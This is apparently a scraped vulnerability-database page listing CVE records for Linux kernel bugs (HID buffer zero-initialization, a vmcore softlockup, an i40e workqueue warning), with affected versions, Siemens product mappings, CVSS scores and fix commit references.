                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:00.886Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/hid/hid-core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e7ea60184e1e88a3c9e437b3265cbb6439aa7e26",
              "status": "affected",
              "version": "27ce405039bfe6d3f4143415c638f56a3df77dca",
              "versionType": "git"
            },
            {
              "lessThan": "3f9e88f2672c4635960570ee9741778d4135ecf5",
              "status": "affected",
              "version": "27ce405039bfe6d3f4143415c638f56a3df77dca",
              "versionType": "git"
            },
            {
              "lessThan": "d7dc68d82ab3fcfc3f65322465da3d7031d4ab46",
              "status": "affected",
              "version": "27ce405039bfe6d3f4143415c638f56a3df77dca",
              "versionType": "git"
            },
            {
              "lessThan": "05ade5d4337867929e7ef664e7ac8e0c734f1aaf",
              "status": "affected",
              "version": "27ce405039bfe6d3f4143415c638f56a3df77dca",
              "versionType": "git"
            },
            {
              "lessThan": "1884ab3d22536a5c14b17c78c2ce76d1734e8b0b",
              "status": "affected",
              "version": "27ce405039bfe6d3f4143415c638f56a3df77dca",
              "versionType": "git"
            },
            {
              "lessThan": "9d9f5c75c0c7f31766ec27d90f7a6ac673193191",
              "status": "affected",
              "version": "27ce405039bfe6d3f4143415c638f56a3df77dca",
              "versionType": "git"
            },
            {
              "lessThan": "492015e6249fbcd42138b49de3c588d826dd9648",
              "status": "affected",
              "version": "27ce405039bfe6d3f4143415c638f56a3df77dca",
              "versionType": "git"
            },
            {
              "lessThan": "177f25d1292c7e16e1199b39c85480f7f8815552",
              "status": "affected",
              "version": "27ce405039bfe6d3f4143415c638f56a3df77dca",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "b2b6cadad699d44a8a5b2a60f3d960e00d6fb3b7",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "fe6c9b48ebc920ff21c10c50ab2729440c734254",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/hid/hid-core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.12"
            },
            {
              "lessThan": "3.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.324",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.286",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.230",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.172",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.117",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.61",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.324",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.286",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.230",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.172",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.117",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.61",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.8",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.10.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.11.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: core: zero-initialize the report buffer\n\nSince the report buffer is used by all kinds of drivers in various ways, let\u0027s\nzero-initialize it during allocation to make sure that it can\u0027t be ever used\nto leak kernel memory via specially-crafted report."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:49:31.433Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e7ea60184e1e88a3c9e437b3265cbb6439aa7e26"
        },
        {
          "url": "https://git.kernel.org/stable/c/3f9e88f2672c4635960570ee9741778d4135ecf5"
        },
        {
          "url": "https://git.kernel.org/stable/c/d7dc68d82ab3fcfc3f65322465da3d7031d4ab46"
        },
        {
          "url": "https://git.kernel.org/stable/c/05ade5d4337867929e7ef664e7ac8e0c734f1aaf"
        },
        {
          "url": "https://git.kernel.org/stable/c/1884ab3d22536a5c14b17c78c2ce76d1734e8b0b"
        },
        {
          "url": "https://git.kernel.org/stable/c/9d9f5c75c0c7f31766ec27d90f7a6ac673193191"
        },
        {
          "url": "https://git.kernel.org/stable/c/492015e6249fbcd42138b49de3c588d826dd9648"
        },
        {
          "url": "https://git.kernel.org/stable/c/177f25d1292c7e16e1199b39c85480f7f8815552"
        }
      ],
      "title": "HID: core: zero-initialize the report buffer",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50302",
    "datePublished": "2024-11-19T01:30:51.300Z",
    "dateReserved": "2024-10-21T19:36:19.987Z",
    "dateUpdated": "2026-05-12T12:01:00.886Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21694 (GCVE-0-2025-21694)

Vulnerability from cvelistv5 – Published: 2025-02-12 13:27 – Updated: 2026-05-12 12:03

Title

fs/proc: fix softlockup in __read_vmcore (part 2)

Summary

In the Linux kernel, the following vulnerability has been resolved: fs/proc: fix softlockup in __read_vmcore (part 2) Since commit 5cbcb62dddf5 ("fs/proc: fix softlockup in __read_vmcore") the number of softlockups in __read_vmcore at kdump time have gone down, but they still happen sometimes. In a memory constrained environment like the kdump image, a softlockup is not just a harmless message, but it can interfere with things like RCU freeing memory, causing the crashdump to get stuck. The second loop in __read_vmcore has a lot more opportunities for natural sleep points, like scheduling out while waiting for a data write to happen, but apparently that is not always enough. Add a cond_resched() to the second loop in __read_vmcore to (hopefully) get rid of the softlockups.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/84c4ed15626574c9a…
https://git.kernel.org/stable/c/80da29deb88a3a907…
https://git.kernel.org/stable/c/649b266606bc41340…
https://git.kernel.org/stable/c/65c367bd9d4f43513…
https://git.kernel.org/stable/c/a5a2ee8144c3897d3…
https://git.kernel.org/stable/c/80828540dad0757b6…
https://git.kernel.org/stable/c/cbc5dde0a46124004…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 803d5a33d5ffdc2d86dcc0cfa01655a330612cdb , < 84c4ed15626574c9ac6c1039ba9c137a77bcc7f2 (git) Affected: 70c1835e776c8447c1aca87ddb38cfe764fe756a , < 80da29deb88a3a907441fc35bb7bac309f31e713 (git) Affected: e1b160a50c756e0efbea290b9bf5117cb80e8c4b , < 649b266606bc413407ce315f710c8ce8a88ee30a (git) Affected: a373ad833a6bfe4bc6cedcf7e56a99cc6fd9a193 , < 65c367bd9d4f43513c7f837df5753bea9561b836 (git) Affected: 518fbd644dabb6aedbdd4939c6c9cc1bf651459f , < a5a2ee8144c3897d37403a69118c3e3dc5713958 (git) Affected: 5cbcb62dddf5346077feb82b7b0c9254222d3445 , < 80828540dad0757b6337c6561d49c81038f38d87 (git) Affected: 5cbcb62dddf5346077feb82b7b0c9254222d3445 , < cbc5dde0a461240046e8a41c43d7c3b76d5db952 (git) Affected: 7bdf1d550ddfcd9ab797087421f77b7aceddc8a7 (git) Affected: e8780e8a0e25dc4c3927f611ec8970d26c0c7369 (git)
Linux	Linux	Affected: 6.10 Unaffected: 0 , < 6.10 (semver) Unaffected: 5.4.290 , ≤ 5.4.* (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.127 , ≤ 6.1.* (semver) Unaffected: 6.6.74 , ≤ 6.6.* (semver) Unaffected: 6.12.11 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21694",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T20:08:56.110006Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T20:17:06.985Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:59:17.714Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:19.966Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/proc/vmcore.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "84c4ed15626574c9ac6c1039ba9c137a77bcc7f2",
              "status": "affected",
              "version": "803d5a33d5ffdc2d86dcc0cfa01655a330612cdb",
              "versionType": "git"
            },
            {
              "lessThan": "80da29deb88a3a907441fc35bb7bac309f31e713",
              "status": "affected",
              "version": "70c1835e776c8447c1aca87ddb38cfe764fe756a",
              "versionType": "git"
            },
            {
              "lessThan": "649b266606bc413407ce315f710c8ce8a88ee30a",
              "status": "affected",
              "version": "e1b160a50c756e0efbea290b9bf5117cb80e8c4b",
              "versionType": "git"
            },
            {
              "lessThan": "65c367bd9d4f43513c7f837df5753bea9561b836",
              "status": "affected",
              "version": "a373ad833a6bfe4bc6cedcf7e56a99cc6fd9a193",
              "versionType": "git"
            },
            {
              "lessThan": "a5a2ee8144c3897d37403a69118c3e3dc5713958",
              "status": "affected",
              "version": "518fbd644dabb6aedbdd4939c6c9cc1bf651459f",
              "versionType": "git"
            },
            {
              "lessThan": "80828540dad0757b6337c6561d49c81038f38d87",
              "status": "affected",
              "version": "5cbcb62dddf5346077feb82b7b0c9254222d3445",
              "versionType": "git"
            },
            {
              "lessThan": "cbc5dde0a461240046e8a41c43d7c3b76d5db952",
              "status": "affected",
              "version": "5cbcb62dddf5346077feb82b7b0c9254222d3445",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "7bdf1d550ddfcd9ab797087421f77b7aceddc8a7",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "e8780e8a0e25dc4c3927f611ec8970d26c0c7369",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/proc/vmcore.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.10"
            },
            {
              "lessThan": "6.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.290",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.127",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.74",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.290",
                  "versionStartIncluding": "5.4.279",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "5.10.221",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "5.15.162",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.127",
                  "versionStartIncluding": "6.1.95",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.74",
                  "versionStartIncluding": "6.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.11",
                  "versionStartIncluding": "6.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "6.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.19.317",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.9.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/proc: fix softlockup in __read_vmcore (part 2)\n\nSince commit 5cbcb62dddf5 (\"fs/proc: fix softlockup in __read_vmcore\") the\nnumber of softlockups in __read_vmcore at kdump time have gone down, but\nthey still happen sometimes.\n\nIn a memory constrained environment like the kdump image, a softlockup is\nnot just a harmless message, but it can interfere with things like RCU\nfreeing memory, causing the crashdump to get stuck.\n\nThe second loop in __read_vmcore has a lot more opportunities for natural\nsleep points, like scheduling out while waiting for a data write to\nhappen, but apparently that is not always enough.\n\nAdd a cond_resched() to the second loop in __read_vmcore to (hopefully)\nget rid of the softlockups."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:04:37.173Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/84c4ed15626574c9ac6c1039ba9c137a77bcc7f2"
        },
        {
          "url": "https://git.kernel.org/stable/c/80da29deb88a3a907441fc35bb7bac309f31e713"
        },
        {
          "url": "https://git.kernel.org/stable/c/649b266606bc413407ce315f710c8ce8a88ee30a"
        },
        {
          "url": "https://git.kernel.org/stable/c/65c367bd9d4f43513c7f837df5753bea9561b836"
        },
        {
          "url": "https://git.kernel.org/stable/c/a5a2ee8144c3897d37403a69118c3e3dc5713958"
        },
        {
          "url": "https://git.kernel.org/stable/c/80828540dad0757b6337c6561d49c81038f38d87"
        },
        {
          "url": "https://git.kernel.org/stable/c/cbc5dde0a461240046e8a41c43d7c3b76d5db952"
        }
      ],
      "title": "fs/proc: fix softlockup in __read_vmcore (part 2)",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21694",
    "datePublished": "2025-02-12T13:27:53.763Z",
    "dateReserved": "2024-12-29T08:45:45.743Z",
    "dateUpdated": "2026-05-12T12:03:19.966Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36004 (GCVE-0-2024-36004)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:48 – Updated: 2026-05-12 11:53

Title

i40e: Do not use WQ_MEM_RECLAIM flag for workqueue

Summary

In the Linux kernel, the following vulnerability has been resolved: i40e: Do not use WQ_MEM_RECLAIM flag for workqueue Issue reported by customer during SRIOV testing, call trace: When both i40e and the i40iw driver are loaded, a warning in check_flush_dependency is being triggered. This seems to be because of the i40e driver workqueue is allocated with the WQ_MEM_RECLAIM flag, and the i40iw one is not. Similar error was encountered on ice too and it was fixed by removing the flag. Do the same for i40e too. [Feb 9 09:08] ------------[ cut here ]------------ [ +0.000004] workqueue: WQ_MEM_RECLAIM i40e:i40e_service_task [i40e] is flushing !WQ_MEM_RECLAIM infiniband:0x0 [ +0.000060] WARNING: CPU: 0 PID: 937 at kernel/workqueue.c:2966 check_flush_dependency+0x10b/0x120 [ +0.000007] Modules linked in: snd_seq_dummy snd_hrtimer snd_seq snd_timer snd_seq_device snd soundcore nls_utf8 cifs cifs_arc4 nls_ucs2_utils rdma_cm iw_cm ib_cm cifs_md4 dns_resolver netfs qrtr rfkill sunrpc vfat fat intel_rapl_msr intel_rapl_common irdma intel_uncore_frequency intel_uncore_frequency_common ice ipmi_ssif isst_if_common skx_edac nfit libnvdimm x86_pkg_temp_thermal intel_powerclamp gnss coretemp ib_uverbs rapl intel_cstate ib_core iTCO_wdt iTCO_vendor_support acpi_ipmi mei_me ipmi_si intel_uncore ioatdma i2c_i801 joydev pcspkr mei ipmi_devintf lpc_ich intel_pch_thermal i2c_smbus ipmi_msghandler acpi_power_meter acpi_pad xfs libcrc32c ast sd_mod drm_shmem_helper t10_pi drm_kms_helper sg ixgbe drm i40e ahci crct10dif_pclmul libahci crc32_pclmul igb crc32c_intel libata ghash_clmulni_intel i2c_algo_bit mdio dca wmi dm_mirror dm_region_hash dm_log dm_mod fuse [ +0.000050] CPU: 0 PID: 937 Comm: kworker/0:3 Kdump: loaded Not tainted 6.8.0-rc2-Feb-net_dev-Qiueue-00279-gbd43c5687e05 #1 [ +0.000003] Hardware name: Intel Corporation S2600BPB/S2600BPB, BIOS SE5C620.86B.02.01.0013.121520200651 12/15/2020 [ +0.000001] Workqueue: i40e i40e_service_task [i40e] [ +0.000024] RIP: 0010:check_flush_dependency+0x10b/0x120 [ +0.000003] Code: ff 49 8b 54 24 18 48 8d 8b b0 00 00 00 49 89 e8 48 81 c6 b0 00 00 00 48 c7 c7 b0 97 fa 9f c6 05 8a cc 1f 02 01 e8 35 b3 fd ff <0f> 0b e9 10 ff ff ff 80 3d 78 cc 1f 02 00 75 94 e9 46 ff ff ff 90 [ +0.000002] RSP: 0018:ffffbd294976bcf8 EFLAGS: 00010282 [ +0.000002] RAX: 0000000000000000 RBX: ffff94d4c483c000 RCX: 0000000000000027 [ +0.000001] RDX: ffff94d47f620bc8 RSI: 0000000000000001 RDI: ffff94d47f620bc0 [ +0.000001] RBP: 0000000000000000 R08: 0000000000000000 R09: 00000000ffff7fff [ +0.000001] R10: ffffbd294976bb98 R11: ffffffffa0be65e8 R12: ffff94c5451ea180 [ +0.000001] R13: ffff94c5ab5e8000 R14: ffff94c5c20b6e05 R15: ffff94c5f1330ab0 [ +0.000001] FS: 0000000000000000(0000) GS:ffff94d47f600000(0000) knlGS:0000000000000000 [ +0.000002] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ +0.000001] CR2: 00007f9e6f1fca70 CR3: 0000000038e20004 CR4: 00000000007706f0 [ +0.000000] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ +0.000001] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ +0.000001] PKRU: 55555554 [ +0.000001] Call Trace: [ +0.000001] <TASK> [ +0.000002] ? __warn+0x80/0x130 [ +0.000003] ? check_flush_dependency+0x10b/0x120 [ +0.000002] ? report_bug+0x195/0x1a0 [ +0.000005] ? handle_bug+0x3c/0x70 [ +0.000003] ? exc_invalid_op+0x14/0x70 [ +0.000002] ? asm_exc_invalid_op+0x16/0x20 [ +0.000006] ? check_flush_dependency+0x10b/0x120 [ +0.000002] ? check_flush_dependency+0x10b/0x120 [ +0.000002] __flush_workqueue+0x126/0x3f0 [ +0.000015] ib_cache_cleanup_one+0x1c/0xe0 [ib_core] [ +0.000056] __ib_unregister_device+0x6a/0xb0 [ib_core] [ +0.000023] ib_unregister_device_and_put+0x34/0x50 [ib_core] [ +0.000020] i40iw_close+0x4b/0x90 [irdma] [ +0.000022] i40e_notify_client_of_netdev_close+0x54/0xc0 [i40e] [ +0.000035] i40e_service_task+0x126/0x190 [i40e] [ +0.000024] process_one_work+0x174/0x340 [ +0.000003] worker_th ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/09b54d29f05129b09…
https://git.kernel.org/stable/c/546d0fe9d76e8229a…
https://git.kernel.org/stable/c/fbbb2404340dd6178…
https://git.kernel.org/stable/c/ff7431f898dd00892…
https://git.kernel.org/stable/c/152ed360cf2d273f8…
https://git.kernel.org/stable/c/8d6105f637883c8c0…
https://git.kernel.org/stable/c/1594dac8b1ed78f9e…
https://git.kernel.org/stable/c/2cc7d150550cc981a…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 4d5957cbdecdbb77d24c1465caadd801c07afa4a , < 09b54d29f05129b092f7c793a70b689ffb3c7b2c (git) Affected: 4d5957cbdecdbb77d24c1465caadd801c07afa4a , < 546d0fe9d76e8229a67369f9cb61e961d99038bd (git) Affected: 4d5957cbdecdbb77d24c1465caadd801c07afa4a , < fbbb2404340dd6178e281bd427c271f7d5ec1d22 (git) Affected: 4d5957cbdecdbb77d24c1465caadd801c07afa4a , < ff7431f898dd00892a545b7d0ce7adf5b926944f (git) Affected: 4d5957cbdecdbb77d24c1465caadd801c07afa4a , < 152ed360cf2d273f88fc99a518b7eb868aae2939 (git) Affected: 4d5957cbdecdbb77d24c1465caadd801c07afa4a , < 8d6105f637883c8c09825e962308c06e977de4f0 (git) Affected: 4d5957cbdecdbb77d24c1465caadd801c07afa4a , < 1594dac8b1ed78f9e75c263327e198a2e5e25b0e (git) Affected: 4d5957cbdecdbb77d24c1465caadd801c07afa4a , < 2cc7d150550cc981aceedf008f5459193282425c (git)
